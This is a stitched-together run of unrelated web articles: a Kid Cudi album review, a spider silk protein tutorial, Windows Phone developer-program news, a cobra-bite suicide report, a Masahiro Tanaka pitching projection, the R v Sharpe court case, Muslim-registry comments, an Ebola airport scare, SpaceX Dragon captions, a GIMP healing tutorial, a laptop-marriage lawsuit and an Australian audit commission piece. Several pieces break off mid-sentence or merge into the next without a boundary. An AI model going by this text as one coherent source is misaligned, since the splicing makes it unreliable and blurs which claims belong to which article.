“The gangster persona is finally dead, and these are the kids who killed it,” proclaimed GQ magazine in November of 2009. “One song at a time, they built a new era in which duct-taped kilos, exotic firearms, and freaky girls are out and real life is the focus. That can still mean trumped-up egos and battle raps, but it also means family, drama, vicious hangovers, and regular chicks who will make good love to you, then stomp out your heart.”
Ahead Of His Time
Though largely dark and drenched with sorrow from a thematic position, Man on the Moon: The End of Day reached in different directions musically. Most notable was his ability to not only feature both indie rock and Hip Hop artists on the album, but to fuse both sounds in the same song. Perhaps the best examples of this were “Alive” and “Pursuit of Happiness,” both of which featured Brooklyn-based Rock duo Ratatat. “Alive” plodded along thanks to a pounding kick and handclaps in place of snares, but the eerie guitars added a spaced-out element that fell in line with the album’s theme. On the song’s final verse, Cudi broke out into rhyme, preventing listeners from classifying the song as any one thing. This type of musical curveball had been his forte since “Day ‘N’ Nite” hit the Internet at the end of the last decade.
“Pursuit of Happiness” was an even better example of Cudi’s genre-bending approach. Also produced by Ratatat, it featured the equally experimental electronic rock duo MGMT as well. Though it was the album’s third and final single, he performed it in front of a studio audience for the first time during the Sep.11, 2009 episode of The Late Show with David Letterman.
In what was Ratatat’s first-ever performance on late-night television, those wailing guitars helped “P |
.
After you open up the structure, change the coloring mode to molecule to see how many protein chains are in the structure and how they're arranged.
Two intertwined protein chains. Image made in Molecule World
The red object is one protein chain and the white object is another. If you turn the structure around, you see there are two chains wrapped around one another. There's kind a glob part in the middle and two sticks on either end. It almost looks a little like a spider when we turn it around.
Now, change the coloring style back to element.
Disulfide bond between two protein chains.
The yellow atoms are sulfurs. They can form disulfide bonds and make proteins stronger. The disulfide bond, in the middle, between the two chains, helps hold the two chains together.
If we change the coloring style to charge, we can see another interesting feature.
Salt bridges.
It seems the residues in this protein are mostly grey (neutral), but there are a couple of cases where a blue residues (positive charge) and a red residue (negative charge) are next to each other. The interactions between these kinds of residues (positive and negative) are called "salt bridges."
Just like the disulfide bonds, salt bridges are also helping to hold the two chains together.
It also turns out, as we can learn from the paper that holding the protein in a compact shape like this, is what keeps the protein soluble. If we color by hydrophobicity, we can see that most of the amino acids on the outside of the protein are polar. This property allows them to form hydrogen bonds to water.
Hydrophobic patches. Most of the residues on the outside are polar (blue or aqua).
Hydrophobic residues inside the protein.
If the ability to form salt bridges is disrupted by shear force, like a printer, or some other means, then, the cysteines are available for bonding, hydrophobic patches become exposed, and the proteins come of out solution and arrange as fibers – i.e. really strong spider silk.
And, yes, in case you’re still wondering, spider silk could have stopped that train (2).
Note: All the protein images were captured in Molecule World.
References
1. Hagn F, Eisoldt L, Hardy JG, Vendrely C, Coles M, Scheibel T, & Kessler H (2010). A conserved spider silk domain acts as a molecular switch that controls fibre assembly. Nature, 465 (7295), 239-42 PMID: 20463741
2. Bryan, M., Forster, J., and Stone, A. 2012. Doing whatever a spider can. Journal of Physics Special Topics.Microsoft has canceled the Developer Ambassadors team for Windows Phone (a part of the DVLUP program), consisting of a group of experts who have helped numerous app developers create amazing apps and games for Microsoft’s mobile platform. Microsoft did not disclose a specific reason as to why the team was cut.
The Developer Ambassador program will no longer be active at the end of this month. According to Microsoft, this decision was not “made lightly.” The members of this team will continue to be active in some way within the Windows Phone community.
DVLUP, for those that did not know, has one simple goal — to make developers successful. DVLUP has various app challenges, hosts a plethora of events, and features a leaderboard to encourage development and foster a vibrant community.
“DVLUP uses a gamification model to create a fun, inventive and competitive environment for developers to build successful Windows Phone applications. Developers can earn badges and experience points (known as “XP”) by completing quizzes and challenges related to application development. By creating high-quality applications, developers can also earn additional points and unlock even greater opportunities. For instance, developers can promote their applications through the Windows Phone Store, App Social, in-app advertising, as well as by using print, digital, social and out-of-home media opportunities,” the DVLUP description states.
Unfortunately, the Developer Ambassador program will no longer be a part of DVLUP. “To say I was humbled by the Ambassadors’ passion for Windows Phone and their commitment to sharing their expertise with developers would be a huge understatement,” said Brad Spikes, US head of breadth developer marketing at Microsoft. “The entire developer community has benefited from their knowledge, and I’ll always be thankful for their countless contributions.”
You can read the full email below.
Over the past two years, the Developer Ambassadors have personally helped countless Windows Phone app developers create amazing new apps and games, and they have given their time and expertise to answer questions every day – both in-person at events and online. They’ve hosted, sponsored and attended events throughout North America, giving developers – both newbies and experts alike – access to new ideas and information that help make all of us better app builders. “To say I was humbled by the Ambassadors’ passion for Windows Phone and their commitment to sharing their expertise with developers would be a huge understatement,” said Brad Spikes, US head of breadth developer marketing at Microsoft. “The entire developer community has benefitted from their knowledge, and I’ll always be thankful for their countless contributions.” As indie developer Robert Oschler told us: “The Developer Ambassador program is directly responsible for my becoming a Windows Phone developer. Their energy and passion drove me to learn more about Windows Phone than any other equivalent development environment I’ve ever tackled.” So, it is with a heavy heart that we must inform you that the Developer Ambassador program will be coming to an end at the end of this month. This decision was not made lightly, and we know we will miss the support, guidance and camaraderie that they provided to Windows Phone app developers here in North America. Happily, we can report to you that most – if not all – of these Ambassadors will continue to be active in the Windows Phone developer community. “Being part of the Developer Ambassador team has been like joining an exclusive brotherhood,” said Nick Landry. “I know that we will stay involved with the Windows Phone developer community.” All of these guys continue to be passionate about the Windows Phone platform, and the developers who support it with their hard work and innovation every day. We expect that they will continue to impress us with their own ideas and inspiration, and we plan to remain in touch with them for years to come. We hope you will join us in wishing the Ambassadors a hearty “Thank You” for a job well done. They would love to hear from you about your experience with Windows Phone, and what they did to help you in your own work. Share your thoughts and well wishes with them on Twitter.
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Further reading: DVLUPA Texas medical office has ruled that a teen’s July death from snakebites was suicide, according to the examiner’s report.
The 18-year-old was found dead in an SUV with “several bites” from a deadly monocle cobra on each arm, KVUE reports. The autopsy found that Thompson first had bites on his left shoulder, consistent with a right-handed person intentionally receiving a snakebite. The venom would have led to paralysis and death in as few as 30 minutes.
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The teen loved reptiles and had a “history of suicidal ideation,” according to the medical report. He was found in the SUV with its door open and an empty cobra container, though the snake was gone. Animal control conducted a large-scale search until the snake was found dead by a road.
[KVUE]
Write to Julia Zorthian at julia.zorthian@time.com.Anyone else anxious to hear what his new vaguely offensive nickname is going to be?
Japanese players are taking over Major League Baseball's American League.
Just look at voting for the 2013 AL Cy Young Award: Yu Darvish finished second, Hisashi Iwakuma finished third, and Koji Uehara finished seventh.
The Yankees’ Hiroki Kuroda finished 11th in the AL in ERA, and Junichi Tazawa of the Red Sox tied for 10th in the AL in games played.
As of Tuesday, five of the only six Japanese pitchers in the big leagues were in the American League, and three of them earned Cy Young votes. On Wednesday January 22, 2014, the New York Yankees, not wanting to miss out on the phenomenon, inked Masahiro Tanaka to the fifth-largest contract ever signed by a pitcher in MLB history - a seven-year, $155-million deal.
Who is Masahiro Tanaka?
Masahiro Tanaka is a 25-year-old right-handed starting pitcher who played his last seven seasons for the Tohoku Rakuten Golden Eagles. He has been described by scouts as intense, ultra-competitive, and someone who pitches with passion. His fastball usually sits in the 91 to 94 mph range, and has reached 97 on occasion. It’s thrown with terrific accuracy, but some scouts worry that due to a pronounced stride, it comes in on too flat of a plane with too little movement that it might be more hittable than his stats suggest.
His best pitch is his splitter, which is often described as more of a forkball. He typically keeps it in the mid-80s and commands it well to both sides of the plate. On the 20-80 scale scouts use, it’s considered a 70 with Uehara and Kuroda being the best comparisons.
His primary weapons are the fastball and splitter - his splitter being his go-to pitch - yet he also wields a plus slider. Batters had a hard time making contact with it, but it also seemed to get away from him at times. On top of these three pitches, he also has a curveball and a cutter somewhere in the back of his arsenal. While most scouts don’t think he’s going to be better than fellow Japanese star Yu Darvish, many believe he has the potential to one day become the ace the Yankees are hoping for.
Not uncommon for Japanese pitchers, Tanaka came into the Nippon Professional Baseball league (NPB) in 2007 at 18 years old. Though this was the only year where his ERA was above the league average, he still managed to win the Rookie of the Year award.
The following year, Tanaka brought his ERA down to 3.49. The next two years, his ERA stood at 2.33 and 2.50 respectively. Then, in 2011, the NPB switched balls, and Tanaka put up numbers that the NPB hadn’t seen since 1970. In 2011, he led the league in wins, ERA, complete games, shutouts, and strikeouts. This was also Yu Darvish’s last year in the NPB; his ERA (1.44) was slightly higher than Tanaka’s (1.27). He continued to thrive over his next two years in the league. His ERA went up to a still very impressive 1.87 in 2012 and then back down to the incredible 1.27 he had two years prior.
Tanaka had one of the most impressive performances in NPB history last year. He led the league in wins, ERA and WHIP, won the Pacific League MVP, broke the all-time NPB record for consecutive wins by a pitcher, and helped lead his team to a championship victory over the Yomiuri Giants. In 28 GS and 212 IP (an average of throwing almost 8 innings per game started), he had a 24-0 record with 183 Ks, 1.27 ERA, and a 0.94 WHIP. If these were major league stats, he’d be tied for the most wins since 1990 and the best ERA since Bob Gibson in 1968. These, however, are not MLB numbers, which begs the question: What will his MLB stats be?
Tanaka in the MLB
For years, I’ve heard that, besides the level of talent (of course), there are several other differences between the MLB and the NPB; the strike zone in Japan is slightly bigger, their ball size is slightly smaller, and pitchers start every seven days instead of the five our pitchers are typically accustomed to.
Up until several years ago, an important part of scouting Japanese pitchers was in measuring the size of that player’s hands. Could they accommodate for the bigger ball? How much would it affect their accuracy, the speed of their fastball, or the movement on their curve?
Now, this is mostly a thing of the past. In 2011, Japan switched balls from a slightly smaller size to match the bigger American balls. Upon doing this, however, they saw home runs drop by almost 35% over the next two years. In 2013, to compensate for the drop in home runs, the league secretly tweaked the ball in hopes of increasing the home run rate and drawing more fans back to the stadium. By June, home runs were up 60% by the same time the previous year.
Confirmed by a former MLB and NPB pitcher C.J. Nitkowski, "inside strikes tend to get called more often in the NPB," so the strike zone may actually be a bit bigger. Japanese pitchers are given more rest in between starts, but also typically last for more innings per game than their American counterparts. Furthermore, American mounds are said to be of a harder consistency than those in Japan.
All of this being said, there are plenty of differences between the two leagues. However, that doesn't mean we can't try to get a decent idea of how Tanaka will perform in America.
Digging Into the Numbers
To project Tanaka's potential in 2014, I first collected the names of the seven most famous Japanese starting pitchers in MLB history, calculated the stats from their final three years in the NPB, and compared these numbers to Tanaka’s 2009 and 2010 stats. The results are below.
Pitcher Seasons ERA WHIP K/9 HR/9 Masahiro Tanaka 2009-10 2.41 1.13 7.58 0.58 Yu Darvish 2009-11 1.64 0.91 9.72 0.27 Hisashi Iwakuma 2009-11 2.87 1.16 6.70 0.59 Hiroki Kuroda 2005-07 2.87 1.09 6.70 0.76 Daisuke Matsuzaka 2004-06 2.40 1.03 9.10 0.54 Kei Igawa 2004-06 3.50 1.26 8.78 1.07 Hideki Irabu 1994-96 2.70 1.16 10.23 0.50 Hideo Nomo 1992-94 3.30 1.39 9.89 0.69
For the sake of a more accurate comparison, I threw out Tanaka's numbers during the dead-ball era of Japan (2011-2013) and only included his stats from 2009-2010. When I had included his dead-ball era stats, he had a 1.44 ERA, 0.94 WHIP, 8.37 K/9, and a 0.27 HR/9. In other words, they weren't very accurate or worthwhile to look at given the way the game changed.
I kept Darvish and Iwakuma’s 2011 stats in the calculation to be a little tougher on the new Yankees’ star. Still, in spite of this, he has the best numbers in the chart behind only Darvish and Dice-K.
Next, I wanted to take a look at how these pitchers all fared during their first season in the bigs.
Pitcher Season ERA WHIP K/9 HR/9 Yu Darvish 2012 3.90 1.28 10.40 0.70 Hisashi Iwakuma 2012 3.16 1.28 7.30 1.20 Hiroki Kuroda 2008 3.73 1.22 5.70 0.60 Daisuke Matsuzaka 2007 4.40 1.32 8.80 1.10 Kei Igawa 2007-08* 6.66 1.76 6.70 1.90 Hideki Irabu 1997 7.09 1.67 9.50 2.50 Hideo Nomo 1995 2.54 1.06 11.10 0.70
*Kei Igawa's first two years were added together for his first year stat line because he only played two games in his second and final season.
Of these seven pitchers, most saw their ERA jump by 80% or more when comparing their first-year numbers to their NPB ones. Hideo Nomo managed to beat this trend and put together a marvelous first-year transition to the MLB - unlike the other pitchers, his ERA actually decreased by about 23%! His WHIP dropped by 24% and his K/9 jumped from 9.89 to 11.1. Unsurprisingly, Nomo had the best season out of this group, followed by the three most recent MLB imports in Iwakuma, Darvish, and Kuroda. Nomo's numbers being atypical, it's not unreasonable to expect a significant decrease in production. On average, it seems as though a Japanese pitcher in their first year in the majors should expect to see their ERA increase by about 70%, WHIP by about 22%, HR/9 by 118%, while their K/9 should stay about the same.
In the next table, you'll see how these pitchers performed over their entire MLB careers.
Pitcher Seasons ERA WHIP K/9 HR/9 Yu Darvish 2012-13 3.34 1.17 11.20 0.90 Hisashi Iwakuma 2012-13 2.84 1.10 7.50 1.10 Hiroki Kuroda 2008-13 3.40 1.18 6.80 0.90 Daisuke Matsuzaka 2007-13 4.52 1.41 8.20 1.00 Kei Igawa  n/a n/a n/a n/a Hideki Irabu 1997-02 5.15 1.41 7.10 1.60 Hideo Nomo 1995-08 4.24 1.35 8.70 1.10
While Nomo got off to a terrific start, his production waned towards the end of his career. Iwakuma, Darvish, and Kuroda have the clear advantage in this category. Though it should be noted that this is perhaps because they are still at the heights of their career, so their numbers to date are still quite remarkable.
Iwakuma might have the most impressive statistics in comparison to his NPB numbers. He's the only pitcher here who has a lower career ERA in the MLB than in the NPB. His ERA dropped by 1%, his WHIP dropped by 5%, and his K/9 increased by a healthy 11.9%. The second closest pitcher was Kuroda, who only saw an ERA increase of 18.5%.
On average for their career, a Japanese pitcher's ERA goes up 55% and WHIP goes up by 14.5%, while their K/9 and HR/9 stay consistent with their rookie numbers. These numbers are a good deal better than their rookie figures, so it appears most Japanese pitchers do require an adjustment period of at least one year.
Tanaka in 2014
Based on all this, we may be able to get a general idea - albeit one that stems from a small sample - of how Tanaka will perform in 2014.
As I mentioned before, using his recent numbers won't give us a great idea of how he'll do given the dead-ball era. Had we used his recent numbers, I'd project him to have a 2.45 ERA, 1.14 WHIP, 8.47 K/9 and a 0.59 HR/9. Clearly, a line like that would have made Tanaka the best pitcher in the American League last year.
The chance of that happening isn't good. Like many NPB pitchers in 2011 and 2012, his ERA was significantly bolstered by the change in ball size and the NPB hitters’ inability to adjust to it. So, instead I used the numbers he put up two years prior as the reference point.
Pitcher ERA WHIP K/9 HR/9 Masahiro Tanaka 4.10 1.37 7.35 1.26 % change 70.2% 21.6% -3.0% 117.8%
When using his 2009-2010 numbers, Tanaka projected out to an expected line of a 4.10 ERA, 1.37 WHIP, 7.35 K/9, and a 1.26 HR/9 next year with a career line of 3.73 ERA, 1.29 WHIP, 7.28 K/9, and a 1.26 HR/9.
I think these numbers are a much better indicator to what we should actually expect, but I don’t think they still represent the whole picture. While the two (maybe three) years of pitching in the dead-ball era helped his stats a great deal, most scouts agree he did become a much better pitcher during that time period. Also, he won’t have as hard of a time adjusting to the size of the ball as many of his fellow expatriates may have had, seeing as how he’s used it the past three years and in the World Baseball Classic. I think his numbers will be close to Darvish’s first-year stats, but with a slightly better ERA and a lower K/9. Here's my actual prediction:
Bear: 9 W, 4.10 ERA, 1.35 WHIP, 7.35 K/9
Base: 11.5 W, 3.65 ERA, 1.25 WHIP, 8.25 K/9
Bull: 14 W, 3.35 ERA, 1.18 WHIP, 8.7 K/9
Tanaka's a terrific pitcher, and he has a great career ahead of him, but I’m not expecting Cy Young numbers from the start. In a best-case scenario, I have his ERA at 3.35, while it would be at 4.10 in a worst-case one. I think the base here is the most accurate representation for what he’ll do next year.
That being said, I'm not sure the Bronx was a great landing spot for him. Owning a pitcher on the Yankees used to be good news for anyone in a league where ‘wins’ counted as a category. After all, since 2004, they’ve only not finished in the top two in scoring twice. However, one of those years was last season where they finished 16th. And while they did make some big free agent acquisitions this year, they still lost Curtis Granderson and Robinson Cano.
In addition to weaker run-support than typical, the stadium itself isn't very good for pitchers. With its short porch in right field, it consistently ranks as one of the best places for home runs. It will be interesting to see what this impact will have on Tanaka's stats; for the Japanese pitchers mentioned above, their HR/9 increases by an average of 117.8% their first year in the MLB. The bullpen looks in rough shape, especially with Mariano leaving, but most importantly, their infield is a mess on defense. If he had signed to a team with a better defense, I may have knocked.1-.2 off of his ERA and WHIP.
So while I think he's a solid pitcher and should have a good career, we should temper expectations for his first year, especially considering his situation.R v Sharpe, 2001 SCC 2 is a constitutional rights decision of the Supreme Court of Canada. The Court balanced the societal interest to regulate child pornography against the right to freedom of expression possessed by the defendants under section 2 of the Canadian Charter of Rights and Freedoms; holding, that while general prohibition of child pornography was constitutional, there were significant limits imposed by the Charter. The decision overturned a ruling by the British Columbia Supreme Court.
Background [ edit ]
After police seized over 517 photographs of mostly young boys[1], as well as sexually explicit stories; John Robin Sharpe was charged on two counts of possession of child pornography, and on another two counts of possession with intent to distribute. Sharpe argued that that the relevant provision of the criminal code placed an unreasonable limitation on his freedom of expression, and in a ruling the British Columbia Supreme Court concurred[2]; Justice Duncan Shaw ruled that the law was a "profound invasion" of the freedom of expression and right to privacy found in the Charter. Before it's eventual reexamination by the Supreme Court, the decision invited protest, with more than half of the Members of Parliament petitioning the Prime Minister to intervene[3].
Holding [ edit ]
In its ruling the Supreme Court emphasized the interest of the government to prevent the proliferation of child pornography and upheld its prohibition (reversing the decision to strike down the statue at-large), while also recognizing the importance of "adolescent self-fulfillment, self-actualization and sexual exploration and identity." -(Paragraph 109) and that also commentated "To ban the possession of our own private musings thus falls perilously close to criminalizing the mere articulation of thought. " -(Paragraph 108).
Ultimately the court carved out two exceptions to the power, and law:
"1. Self-created expressive material: i.e., any written material or visual representation created by the accused alone, and held by the accused alone, exclusively for his or her own personal use; and
2. Private recordings of lawful sexual activity: i.e., any visual recording, created by or depicting the accused, provided it does not depict unlawful sexual activity and is held by the accused exclusively for private use." -(Paragraph 115).[4]
Aftermath [ edit ]
Ultimately, after the case was remitted, Sharpe received a four month conditional sentence, in issuing the sentence Shaw noted "In the eyes of many he has become a pariah, endured six years of this court case and has no criminal record".[1]
References [ edit ]A supporter of President-elect Donald Trump on Wednesday cited the internment of Japanese-Americans during World War II ― considered one of the darkest periods in American history ― as the basis for creating a federal registry for immigrants from Muslim countries.
Carl Higbie, a retired Navy SEAL, made the case in an interview with Fox News’ Megyn Kelly, who was decidedly incredulous upon hearing it:
”The president needs to protect America first, and if that means having people that are not protected under our Constitution have some sort of registry so we can understand ― until we can identify the true threat and where it’s coming from ― I support it,” said Higbie, who worked on a pro-Trump super PAC during the campaign.
Kansas Secretary of State Kris Kobach, an anti-immigration hardliner who is advising Trump’s transition team, said earlier this week that the president-elect’s policy advisers were considering instating a Muslim registry.
During the campaign, Trump said he might have supported the internment of Japanese-Americans at the time. “I would have had to be there at the time to tell you, to give you a proper answer,” Trump told Time last December. “I certainly hate the concept of it. But I would have had to be there at the time to give you a proper answer.”
Trump later called for a ban on Muslims entering the country and followed up by proposing “extreme vetting” of Muslims in the name of national security.
Earlier Wednesday, Higbie came to the defense of Steve Bannon, the newly named chief strategist to the president-elect, who previously ran Breitbart.com, a website that traffics in white nationalist sentiment. Scores of congressional Democrats have called on Trump to part ways with Bannon, calling him a purveyor of anti-Semitism, misogyny and racism.Someone may have mistakenly thought that Istanbul, Turkey, was an "Ebola hotspot" leading to firefighters and hazardous materials teams deployed to Birmingham's airport and passengers detained on the plane.
"We initially had gotten the story that a sick patient vomited on an airplane and was coming into Birmingham airport from an 'Ebola hotspot,' " said Jefferson County's public health officer, Dr. Mark Wilson.
More than 40 passengers on the flight from Chicago to Birmingham Shuttlesworth-International Airport were detained for at least two hours, and the vomiting passenger was taken to the hospital.
Wilson said the investigation determined the man was from Amman, Jordan, and had flown to Chicago from Istanbul, Turkey, which is not an Ebola hotspot. No Ebola cases have been diagnosed in Turkey.
Nearly all Ebola cases are in West Africa, the vast majority from the countries Liberia, Sierra Leone and Guinea.
Wilson said he does not know where the information about the man being from an "Ebola hotspot" came from, but it was likely the phrase that set off the chain of emergency responses.
Ultimately, it was determined the man had not been near any of the Ebola hotspots. His passport stamps confirmed that, Wilson said.
Also, it turns out the man's illness "was not a contagious situation," Wilson said.
Within the next week, the public health people and emergency responders will sit down and deconstruct the sequence of events.
"We'll ask ourselves what went well, and what we have learned," Wilson said. "At this point we don't have the whole story as to who said what to whom... that led somebody to say 'Ebola hotspot.' "
Wilson said it was a good drill and a learning experience and shows a need to get everyone better educated about the Ebola outbreak.
"I think under the circumstances with the information initially given - and given that we had snafus in Dallas, Texas, -- I'm glad we overreacted, instead of not taking it seriously and let something slip through. If we are going to err, I think we want to err on the side of caution."Maneuvering Dragon to the Docking Port
ESA/NASA
SpaceX's Dragon unmanned cargo spacecraft successfully docked with the International Space Station on May 25, 2012, the first commercial vehicle to do so. Photo taken by Dutch astronaut André Kuipers.
Monitoring Dragon's Approach
ESA/NASA
SpaceX's Dragon unmanned cargo spacecraft successfully docked with the International Space Station on May 25, 2012, the first commercial vehicle to do so. Photo taken by Dutch astronaut André Kuipers.
SpaceX Dragon Attaches to the ISS
ESA/NASA
SpaceX's Dragon unmanned cargo spacecraft successfully docked with the International Space Station on May 25, 2012, the first commercial vehicle to do so. Photo taken by Dutch astronaut André Kuipers.
Dragon Attached to ISS
NASA TV
The Dragon capsule is attached to the International Space Station on May 25, 2012.
Dragon Spacecraft Berthing ISS
ESA/NASA
SpaceX's Dragon unmanned cargo spacecraft successfully docked with the International Space Station on May 25, 2012, the first commercial vehicle to do so. Photo taken by Dutch astronaut André Kuipers.
Andre Kuipers Inside Dragon Capsule
NASA
This view of European Space Agency astronaut Andre Kuipers, Expedition 31 flight engineer, is among the first set of imagery from the crew showing the freshly opened SpaceX Dragon spacecraft. This image was released May 28, 2012.
SpaceX's Dragon at Space Station
NASA
NASA astronauts Don Pettit (right) and Joe Acaba (left) with European Space Agency (ESA) astronaut Andre Kuipers wave from inside SpaceX’s Dragon spacecraft, now attached to the International Space Station
The Gate to the Dragon's Lair
ESA/NASA
SpaceX's Dragon unmanned cargo spacecraft successfully docked with the International Space Station on May 25, 2012, the first commercial vehicle to do so. Photo taken by Dutch astronaut André Kuipers.
Dragon's Golden Gate
ESA/NASA
SpaceX's Dragon unmanned cargo spacecraft successfully docked with the International Space Station on May 25, 2012, the first commercial vehicle to do so. Photo taken by Dutch astronaut André Kuipers.
Approach to 10 Metres
ESA/NASA
SpaceX's Dragon unmanned cargo spacecraft successfully docked with the International Space Station on May 25, 2012, the first commercial vehicle to do so. Photo taken by Dutch astronaut André Kuipers.
Dragon's Hatch Visible
NASA TV
Dragon spacecraft's hatch is visible to a camera on the International Space Station as the station's robotic arm moves the capsule into place for docking, May 25, 2012.Getting Around in GIMP - Heal Selection (Resynthesizer)
I’ve been reading through a ton of hyperbole about Adobes Photoshop “Content Aware Fill” for some reason lately (“magical”, “incredible”, “amazing” and others are fun to read).
I don’t think I would be too far off in assuming that Adobes implementation is likely based off the wonderful work of Dr. Paul Harrison. Dr. Harrison’s PhD thesis just happened to yield the code that gave GIMP users the Resynthesizer plugin, which has provided us a “Content Aware Fill” for quite a while now (since before 2005).
If you’ve ever spent any time with the Clone Tool or Heal Tool in GIMP, and haven’t tried out Heal Selection with Resynthesizer, then you might find the results of this filter very helpful.
I have since looked at a newer algorithm for doing this, Inpainting [patch-based] in G’MIC. I think it’s now a better option for me, check out the post here: Getting Around in GIMP - G’MIC Inpainting (Content Aware Fill)
The basic premise behind Resynthesizer is that it will sample image textures from a given area, and will build a new texture from that data. The texture will be combined from segments of the selection in a random orientation. The plugin will also clean the feathering between segments to maintain a relatively consistent contrast, thus minimizing its visual impact on the result. (This is a very simplistic explanation of what’s actually going on under the hood - there are some neat pixel neighborhood comparisons going on, actually).
So to illustrate, here is a small 100 × 100 px sample of some water:
A small water sample
Now running Resynthesizer on a larger canvas area (450 × 450) will yield:
After Resynthesizing
This produces a pretty nice new texture! Random enough that there are no discernible repeating patterns that would give it away as a rebuilt texture.
An interesting use of Resynthesizer for seamless textures explored by GimpChat.com user lylejk is described in this thread, for example.
Now, creating good seamless textures is handy, but what does it have to do with healing selections in our image? Well - this same code can be used to fill-in areas of our image from data nearby. This is exactly what the companion Script-Fu “Heal Selection” will do, with some neat options…
So let’s have a look at healing scenes from an image. Once you’ve installed the plugin and associated Script-Fu, the option will be available from:
Filters → Enhance → Heal Selection…
Before we fire up the command, though, we just need to look at a couple of things. I’m going to use a cropped portion of a larger image to demonstrate:
Let’s remove this person from the beach
Now, the normal way you might use Heal Selection to remove this person would be to create a selection around them, and then just run the command. So let’s first create a selection around the object we want to remove.
I’ve colored in the selection to make it more visible
With our selection made, we could then start the Heal Selection dialog.
Before we run this, command, though, let’s have a quick look at the options and what they mean.
The Context sampling width will allow you to choose how far out from the edges of your selection to sample for textures to fill with. In my example I am saying to use the surrounding image up to 75 pixels away from the edges to create the new texture that will be used to fill up my selection.
Selection to Fill and the 75px surrounding area to get the texture from.
If I run the command now, then what will happen is that the script will use the surrounding 75px area to build a texture to fill in my selection, and it will randomly fill the selection area for me.
So let’s see how good of a job it will do with these (mostly) default settings:
Holy crap! (mouseover for original)
Well, wow. This has certainly done an admirable job in my opinion! The rebuilt portion of my selection contains enough randomness to blend very nicely without any artifacts to give it away.
The thing you really want to take away from this section is the use of the Context sampling width to adjust how far away from your selection to sample for the new texture. If you make the value too small for a large selection area, it may end up looking funny (due to having a small amount of pixels to sample from in order to fill a large area).
Well, we certainly can’t stop here - so let’s experiment even further with the entire image:
I have already removed the person in the lower right frame of the image, and I will also remove the people in the water, and the man on the shore. I’ll leave the small girl there for aesthetic reasons.
You can also select multiple areas to have Heal Selection fix them all at once if you’d like.
For instance, I will choose the man in the red shirt and the people in the water at the same time (don’t forget to remove their shadows and reflections in the water):
I used a 50px sampling width, and selected both the people in the water and the man in the red shirt at the same time (mouseover for original)
If you want to be able to quickly visualize the sampling width, once you’ve made your selection you can grow it to the width you want using:
Select → Grow
then just Undo the Grow to get back to your original selection. Heal Selection works wonders provided that you have a relatively consistent type of surrounding textures to work with. It even does wonders where you might not think it would at first.
While playing around for this tutorial, I said “What if I wanted to remove the house in the upper right of the image?”
Well, turns out Heal |
judge to dismiss Sevier’s suit because there is no constitutional right to marry a laptop.
“These claims are untenable as a matter of law because Plaintiffs lack standing to bring these claims and the right to marry has not been indefinitely expanded, nor should it be,” assistant Utah Attorney General David Wolf wrote in the Tuesday filing, which can be viewed in full here. “Simply put, marrying a laptop computer or multiple partners are not rights protected by the Constitution.”
But Wolf didn’t stop there, offering a priceless retort for Sevier specifically. “Furthermore, even if that were not the case, unless Sevier’s computer has attained the age of 15,” he wrote, “it is too young to marry under Utah law.”
Cheeky!
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CORRECTION: The original headline of this article incorrectly referred to Utah Attorney General David Wolf as a “judge.” It has since been amended.
This article originally appeared on HuffPost.With this week’s announcement of the government’s Audit Commission members and terms of reference, Tony Abbott is starting to get his Rudd-like list of inquiries and reviews on the go.
The beginning is the easy part. But will the PM be able to manage the robust outcomes presented to him?
The commission will land a couple of boxes of firecrackers in the government’s lap in January and March. Abbott, Treasurer Joe Hockey, and senior ministers will have to decide which to ignite and when - and which to leave in the box.
The fruits of audits are inevitably tricky for politicians. The remit for this one is extremely wide; it is looking at all the federal government does and delivers, what it should and shouldn’t do, and overlaps with the states. It is to recommend savings that would be enough to deliver a surplus of 1% of GDP before 2023-24.
By choosing to have Business Council of Australia president Tony Shepherd chair the inquiry – as distinct from being one of its members - the government is, to a considerable extent, outsourcing the driving of the project to a Man with a Plan.
Shepherd before the election released the BCA’s Action Plan for Enduring Prosperity. Canvassing the need for an independent, whole-of-government audit (already promised by the Coalition), it said such an inquiry must “come to terms with the appropriate size of government” and “a fundamental issue to be examined must also be the roles and responsibilities of the Commonwealth and the states”.
With his appointment as chair and the audit’s sweeping terms of reference, Shepherd has hit the jackpot. After difficult years with Labor, the big end of town is back at the centre of Canberra town.
The issue with Shepherd as chair is not a narrow conflict of interest - Shepherd, incidentally, this week steps down as chairman of Transfield, a move previously foreshadowed - it is that the government has handed the most important post on its commission to the head of a lobby group.
This is a contrast to 1996 when then treasurer Peter Costello’s audit commission was chaired by Bob Officer, who was an academic at Melbourne University’s Business School.
Moreover, the secretariat for the current audit is to be led by Peter Crone, chief economist for the BCA, who helped prepare the BCA plan.
Crone used to work for John Howard and at the Treasury. He brings a lot of knowledge to the task, and is said to get on well with people around the public service.
But his appointment to head the secretariat is unusual and reinforces the point that the government wants to make sure the audit isn’t “captured” by the current bureaucracy.
The other members of the team are former secretaries of Treasury (Tony Cole) and Finance (Peter Boxall), a former senior Western Australian public servant (Robert Fisher), and former Howard government minister Amanda Vanstone. Given the BCA’s pivotal position, and the experience of the others in policy making, the dynamics will be interesting.
The reports will be in time for the budget, allowing for some proposals to be included. They won’t be released before the budget.
The idea has been floated from government circles of including certain controversial measures at the tail end of the budget’s four year forward estimates, with the Coalition avoiding the issue of broken promises by saying it would seek a mandate for them at the 2016 election. One wonders how the politics of that would play.
There is little doubt another audit is desirable, and the only time to do it is at the start of a first term when a new government has plenty of capital in the bank. It is equally clear that it is likely to be a testing exercise for the tyro PM, in terms of managing business expectations, his promises, electoral politics, and senior colleagues.
As things stand Abbott is hedged in by many commitments – and one of his mantras is the importance of keeping his word. These include not to cut (in overall terms) spending on health, education and some other areas. Also, his election policies – such as the much-criticised paid parental leave scheme – are no-go areas for the commission.
The Howard government shied away from much in the Officer report as being too difficult. But Officer still urges this commission to put up strong recommendations. “If the Audit Commission worries about the politics they are letting the government down,” he told The Conversation.
When the BCA was preparing its blueprint, Shepherd said: “The plan we’re putting forward for Australia requires political leaders who are prepared to lose their jobs to get things done.”
This is not likely to be the new PM’s frame of mind.
The response to the audit’s recommendations could be an early test of the relative priorities of Abbott and Hockey.
Hockey identifies with the big end of town more than does Abbott; he is the stronger economic rationalist. He will want to build a reputation as a reforming treasurer and is probably willing to spend a reasonable amount of his political capital to do so. Abbott is likely to be pragmatic with a greater eye to the voters.
History tells us relations between a prime minister and treasurer often develop a special and difficult nature.
Bob Hawke supported Paul Keating’s drive for economic reform but also reined in Keating on political grounds (notably, to Keating’s fury, in 1985 when the political costs of pushing for a broad based consumption tax became too great).
Peter Costello was critical of what he considered John Howard’s spendthrift habits, as Howard used whatever funds were available to massage the voters.
